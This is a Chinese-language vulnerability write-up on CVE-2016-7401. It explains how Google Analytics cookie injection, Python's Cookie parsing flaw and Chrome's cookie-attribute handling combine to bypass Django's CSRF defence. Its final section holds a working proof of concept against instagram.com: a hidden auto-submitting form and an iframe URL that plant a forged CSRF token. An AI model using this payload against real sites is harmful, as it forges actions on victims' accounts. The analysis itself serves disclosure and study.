CVE-2016-7401-Django CSRF防御绕过漏洞分析

 


CVE-2016-7401-Django CSRF防御绕过漏洞分析

前言


Django于昨天修复了这个漏洞: https://www.djangoproject.com/weblog/2016/sep/26/security-releases/

其实去年就有类似的问题,报告给Twitter( https://hackerone.com/reports/14883 ),漏洞是由以下几个部分组成的。

 

0x01 由Google Analytics导致的Cookie注入漏洞


Google Analytics会设置如下的Cookie来追踪用户:

__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

比如:

__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/

也就是说,我们可以通过控制[PATH]位置来控制一部分Cookie,而且[PATH]位置并没有进行编码和过滤。这也是造成后面漏洞的导火索。

 

0x02 Django的解析缺陷


不同Web server对Cookie头有不同的解析方式。

  • 通常浏览器发送的Cookie是这样:

    • Cookie: param1=value1; param2=value2;
  • 很多Web server也接受以“逗号”为分隔符的Cookie头:

    • Cookie: param1=value2, param2=value2
    • Cookie: param1=value2,param2=value2
  • Python + Django却因为错误的正则,导致可以使用]作为分隔符:

    • Cookie: param1=value1]param2=value2

      这个问题是Python原生Cookie库的问题,我们可以在命令行下测试一下:

>>> import Cookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah'csrftoken='x'>

可见,当c.load('__utmz=blah]csrftoken=x')后,cookie被错误地解析为两个,一个Cookie[__utmz]=blah,一个csrftoken=x

0x03 不同浏览器处理Cookie的特性

除了Safari以外,所有浏览器都支持将一些特殊字符(空格、逗号或/)设置为Cookie的值。

Chrome处理Cookie属性的数量有限。比如

Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=blah.blah.blah.google.com;

的domain将会被认为是.google.com而不是blah.blah.blah.google.com。

 

0x04 注入TOKEN绕过CSRF检查

利用上面3个特性,我们可以攻击具有如下条件的网站:

使用了 Google Analytics

使用了会错误解析Cookie的服务器(如Django)

使用了基于Cookie的CSRF防御方式(就是将Cookie中的Token和表单中的Token相比较,确保表单不是伪造的)

然后:

我们将Cookie中的Token设置为任意一个字符串,覆盖原有的Token

于是这个网站就可以绕过CSRF防御了

还有一个问题就是,__utmz这个Cookie时长是6个月不会刷新(也就没法写入新的)。解决方法是,你可以找一个同样使用了Google Analytics的子域名,然后借用0x03中说到的方法覆盖掉主域名的Cookie的domain即可。

其他浏览器,可以等到__utmz刷新的时候进行攻击。

 

0x05 POC编写

用instagram.com为例。

用谷歌的匿名模式打开instagram.com

登录instagram.com

点击链接( http://blackfan.ru/facebookbugbounty/nouysqaqfbskgobuqkknoitvyqmjgony_instagram.html ),并等待一会

你已经成为 http://instagram.com/black2fan 的粉丝了(成功刷粉)

链接代码如下:

<form 
action="http://instagram.com/web/friendships/1312928755/follow/?ref=emptyfeed" 
id="csrf" 
method="POST">
      <input type="hidden" name="csrfmiddlewaretoken" value="x" />
      <input type="submit" value="Submit request" />
</form>
<script>
      function xxx() {
        document.getElementById('csrf').submit();
      }
</script>
<iframe 
onload="xxx()" 
src="http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/"/>

这四步实际执行了下面的过程:

1.    用户登录instagram.com

攻击者让用户登录了它以前没有登录过的blog.instagram.com:

http://blog.instagram.com/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/

2.    Cookie的domain被覆盖为.instagram.com:

_utmz=90378079.1401435337.1.1.utmcsr=blog.instagram.com|utmccn=(referral)|utmcmd=referral|utmcct=/r/,]csrftoken=x,

3.    此时,服务端会将这个Cookie解析为csrftoken=x

4.    然后提交CSRF Token=x的表单即可。

参考文档:

https://docs.python.org/3/library/http.cookies.html

http://hg.python.org/cpython/file/3.4/Lib/http/cookies.py#l432

http://tools.ietf.org/html/rfc2109

http://tools.ietf.org/html/rfc2068

美食家

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: